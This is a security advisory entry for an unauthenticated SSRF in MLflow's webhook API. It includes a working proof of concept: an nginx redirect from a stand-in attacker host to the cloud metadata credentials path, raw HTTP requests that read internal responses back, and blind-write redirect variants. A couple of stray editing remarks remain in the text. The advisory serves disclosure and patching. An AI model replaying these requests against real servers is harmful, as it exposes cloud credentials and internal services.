PYSEC-2026-3687
Vulnerability from pysec - Published: 2026-08-19 11:56 - Updated: 2026-08-19 12:16Summary
The default MLflow Tracking Server (mlflow server, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous POST /api/2.0/mlflow/webhooks/{id}/test endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (_validate_webhook_url, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no allow_redirects=False) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns 302 Location: http://169.254.169.254/... (or http://127.0.0.1:...); MLflow follows it and never re-validates the redirect target. Because /test reflects the response body, this is an unauthenticated full-read SSRF on a default server.
Details
Three facts combine:
-
Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (
mlflow/server/auth/__init__.py,WEBHOOK_BEFORE_REQUEST_HANDLERS), which is not loaded by default. -
The guard validates but pins nothing —
mlflow/utils/validation.py_validate_webhook_url:
schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False
for addr_info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(addr_info[4][0])
if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata
The resolved IP is never carried into the connection.
- Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:
def _create_webhook_session():
adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning
...
def _send_webhook_request(webhook, payload, event, session):
_validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only
return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
# no allow_redirects=False -> 302 followed; redirect Location never re-validated
test_webhook returns response_status and response_body to the caller. Bypass vectors:
Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.
PoC
All requests are unauthenticated, sent to the MLflow tracking server ({{TARGET}}). The SSRF
fetch is performed by the MLflow server itself; the internal response is reflected back in the
/test response. {{ATTACKER}} is a host the researcher controls that resolves to a public IP
and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.
Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }
Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)
Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}
Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:
POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}
-> 200 {"result":{"success":true,"response_status":200,
"response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}
Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting to a local secret service, Step 2 returned: "response_body":"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\nrole=admin\n"
For convenience, the "my secret data" is saved in the same location.
Notes:
- Webhook events enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase
maps to ENTITY_UNSPECIFIED and 500s.
- Default allowed scheme is https only; the first hop must be https, the redirect Location may be http.
- Webhooks require a SQL store; the default mlflow server (sqlite:///mlflow.db) qualifies. No auth needed.
- Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.
Impact
An unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).
Fix
Fixed in https://github.com/mlflow/mlflow/pull/24258 (commit ba94952247), which adds connection-time SSRF protection (SSRFProtectedHTTPAdapter): the peer IP of each connected socket is validated against public-IP rules immediately after connect(), before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.
Redirect variants
The same missing re-validation enables two distinct primitives depending on the redirect status code:
- 302 (read): the redirect target is fetched with GET and, because
POST /api/2.0/mlflow/webhooks/{id}/testreflects the upstream response body (WebhookTestResult.response_body), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services). - 307 / 308 (blind write): these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon
/stop, Elasticsearch/_close, Spring Boot Actuator/shutdown).
Neither requires authentication on a default OSS server.
Then add a fix reference near the top or in a "Remediation" note:
| Name | purl | mlflow | pkg:pypi/mlflow |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mlflow",
"purl": "pkg:pypi/mlflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.15.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.0.1",
"0.1.0",
"0.2.0",
"0.2.1",
"0.3.0",
"0.4.0",
"0.4.1",
"0.4.2",
"0.5.0",
"0.5.1",
"0.5.2",
"0.6.0",
"0.7.0",
"0.8.0",
"0.8.1",
"0.8.2",
"0.9.0",
"0.9.0.1",
"0.9.1",
"1.0.0",
"1.1.0",
"1.1.1.dev0",
"1.10.0",
"1.11.0",
"1.12.0",
"1.12.1",
"1.13",
"1.13.1",
"1.14.0",
"1.14.1",
"1.15.0",
"1.16.0",
"1.17.0",
"1.18.0",
"1.19.0",
"1.2.0",
"1.20.0",
"1.20.1",
"1.20.2",
"1.21.0",
"1.22.0",
"1.23.0",
"1.23.1",
"1.24.0",
"1.25.0",
"1.25.1",
"1.26.0",
"1.26.1",
"1.27.0",
"1.28.0",
"1.29.0",
"1.3.0",
"1.30.0",
"1.30.1",
"1.4.0",
"1.5.0",
"1.6.0",
"1.7.0",
"1.7.1",
"1.7.2",
"1.8.0",
"1.9.0",
"1.9.1",
"2.0.0",
"2.0.0rc0",
"2.0.1",
"2.1.0",
"2.1.1",
"2.10.0",
"2.10.1",
"2.10.2",
"2.11.0",
"2.11.1",
"2.11.2",
"2.11.3",
"2.11.4",
"2.12.0",
"2.12.1",
"2.12.2",
"2.13.0",
"2.13.1",
"2.13.2",
"2.14.0",
"2.14.0rc0",
"2.14.1",
"2.14.2",
"2.14.2.dev0",
"2.14.3",
"2.15.0",
"2.15.0rc0",
"2.15.1",
"2.16.0",
"2.16.1",
"2.16.2",
"2.17.0",
"2.17.0rc0",
"2.17.1",
"2.17.2",
"2.18.0",
"2.18.0rc0",
"2.19.0",
"2.19.0rc0",
"2.2.0",
"2.2.1",
"2.2.2",
"2.20.0",
"2.20.0rc0",
"2.20.1",
"2.20.2",
"2.20.3",
"2.20.4",
"2.21.0",
"2.21.0rc0",
"2.21.1",
"2.21.2",
"2.21.3",
"2.22.0",
"2.22.0rc0",
"2.22.1",
"2.22.2",
"2.22.3",
"2.22.4",
"2.22.5",
"2.3.0",
"2.3.1",
"2.3.2",
"2.4.0",
"2.4.1",
"2.4.2",
"2.5.0",
"2.6.0",
"2.7.0",
"2.7.1",
"2.8.0",
"2.8.1",
"2.9.0",
"2.9.1",
"2.9.2",
"3.0.0",
"3.0.0rc0",
"3.0.0rc1",
"3.0.0rc2",
"3.0.0rc3",
"3.0.1",
"3.1.0",
"3.1.0rc0",
"3.1.1",
"3.1.2",
"3.1.3",
"3.1.4",
"3.10.0",
"3.10.0rc0",
"3.10.1",
"3.11.0",
"3.11.0rc0",
"3.11.0rc1",
"3.11.1",
"3.12.0",
"3.12.0rc0",
"3.13.0",
"3.13.0rc0",
"3.14.0",
"3.2.0",
"3.2.0rc0",
"3.3.0",
"3.3.0rc0",
"3.3.1",
"3.3.2",
"3.4.0",
"3.4.0rc0",
"3.5.0",
"3.5.0rc0",
"3.5.1",
"3.6.0",
"3.6.0rc0",
"3.7.0",
"3.7.0rc0",
"3.8.0",
"3.8.0rc0",
"3.8.1",
"3.9.0",
"3.9.0rc0"
]
}
],
"aliases": [
"CVE-2026-64849",
"GHSA-7gwp-5pfp-969j"
],
"details": "### Summary\nThe default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.\n\n### Details\nThree facts combine:\n\n1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.\n\n2. The guard validates but pins nothing \u2014 `mlflow/utils/validation.py` `_validate_webhook_url`:\n```python\nschemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default [\"https\"]\nif parsed_url.scheme not in schemes: raise ...\nif not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False\n for addr_info in socket.getaddrinfo(hostname, None):\n ip = ipaddress.ip_address(addr_info[4][0])\n if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata\n```\nThe resolved IP is never carried into the connection.\n\n3. Delivery follows redirects and re-resolves with no pinning \u2014 mlflow/webhooks/delivery.py:\n```python\ndef _create_webhook_session():\n adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning\n ...\ndef _send_webhook_request(webhook, payload, event, session):\n _validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only\n return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)\n # no allow_redirects=False -\u003e 302 followed; redirect Location never re-validated\n```\ntest_webhook returns response_status and response_body to the caller.\nBypass vectors:\n\nRedirect-follow (reliable): attacker\u0027s allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.\nDNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.\n\n### PoC\nAll requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF\nfetch is performed by the MLflow server itself; the internal response is reflected back in the\n`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP\nand serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.\n\nAttacker redirect server (on {{ATTACKER}}, valid TLS cert):\n nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }\n\nStep 0 \u2014 negative control (proves the guard is active; the naive internal URL is rejected):\n\n POST /api/2.0/mlflow/webhooks HTTP/1.1\n Host: {{TARGET}}\n Content-Type: application/json\n\n {\"name\":\"neg\",\"url\":\"http://127.0.0.1:6379/\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n -\u003e 400 {\"message\":\"Invalid webhook URL scheme: \u0027http\u0027. Allowed schemes are: https.\"}\n (an https://127.0.0.1/ variant is likewise rejected as a non-public IP)\n\n\u003cimg width=\"1154\" height=\"437\" alt=\"image\" src=\"https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019\" /\u003e\n\n\nStep 1 \u2014 create a webhook pointing at the attacker\u0027s public HTTPS host (passes _validate_webhook_url):\n\n POST /api/2.0/mlflow/webhooks HTTP/1.1\n Host: {{TARGET}}\n Content-Type: application/json\n\n {\"name\":\"poc\",\"url\":\"https://{{ATTACKER}}/innocent\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n -\u003e 200 {\"webhook\":{\"webhook_id\":\"\u003cWEBHOOK_ID\u003e\", ... ,\"status\":\"ACTIVE\"}}\n\n\u003cimg width=\"1394\" height=\"520\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d\" /\u003e\n\n\nStep 2 \u2014 fire it via the unauthenticated /test endpoint; the internal response body is returned:\n\n POST /api/2.0/mlflow/webhooks/\u003cWEBHOOK_ID\u003e/test HTTP/1.1\n Host: {{TARGET}}\n Content-Type: application/json\n\n {\"webhook_id\":\"\u003cWEBHOOK_ID\u003e\",\"event\":{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}}\n\n -\u003e 200 {\"result\":{\"success\":true,\"response_status\":200,\n \"response_body\":\"\u003ccontents of http://169.254.169.254/latest/meta-data/... fetched by the server\u003e\"}}\n\n\u003cimg width=\"1399\" height=\"453\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc\" /\u003e\n\n\nConfirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting\nto a local secret service, Step 2 returned:\n \"response_body\":\"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\\nrole=admin\\n\"\n\nFor convenience, the \"my secret data\" is saved in the same location.\n\n\u003cimg width=\"730\" height=\"208\" alt=\"image\" src=\"https://github.com/user-attachments/assets/680e1895-6d2e-4fd7-838f-c484561b6e5c\" /\u003e\n\n\n\nNotes:\n- Webhook `events` enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase\n maps to ENTITY_UNSPECIFIED and 500s.\n- Default allowed scheme is https only; the first hop must be https, the redirect Location may be http.\n- Webhooks require a SQL store; the default `mlflow server` (sqlite:///mlflow.db) qualifies. No auth needed.\n\n- Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.\n\n### Impact\nAn unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).\n\n### Fix\n\nFixed in https://github.com/mlflow/mlflow/pull/24258 (commit `ba94952247`), which adds connection-time SSRF protection (`SSRFProtectedHTTPAdapter`): the peer IP of each connected socket is validated against public-IP rules immediately after `connect()`, before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.\n\n### Redirect variants\n\nThe same missing re-validation enables two distinct primitives depending on the redirect status code:\n\n- **302 (read):** the redirect target is fetched with GET and, because `POST /api/2.0/mlflow/webhooks/{id}/test` reflects the upstream response body (`WebhookTestResult.response_body`), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services).\n- **307 / 308 (blind write):** these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon `/stop`, Elasticsearch `/_close`, Spring Boot Actuator `/shutdown`).\n\nNeither requires authentication on a default OSS server.\n\nThen add a fix reference near the top or in a \"Remediation\" note:",
"id": "PYSEC-2026-3687",
"modified": "2026-08-19T12:16:29.428379Z",
"published": "2026-08-19T11:56:27.173497Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/issues/24179"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/pull/24258"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/commit/ba949522477cbd5915aa55d29b0cfad7d5ddf939"
},
{
"type": "PACKAGE",
"url": "https://github.com/mlflow/mlflow"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/releases/tag/v3.15.0"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/mlflow"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-7gwp-5pfp-969j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64849"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.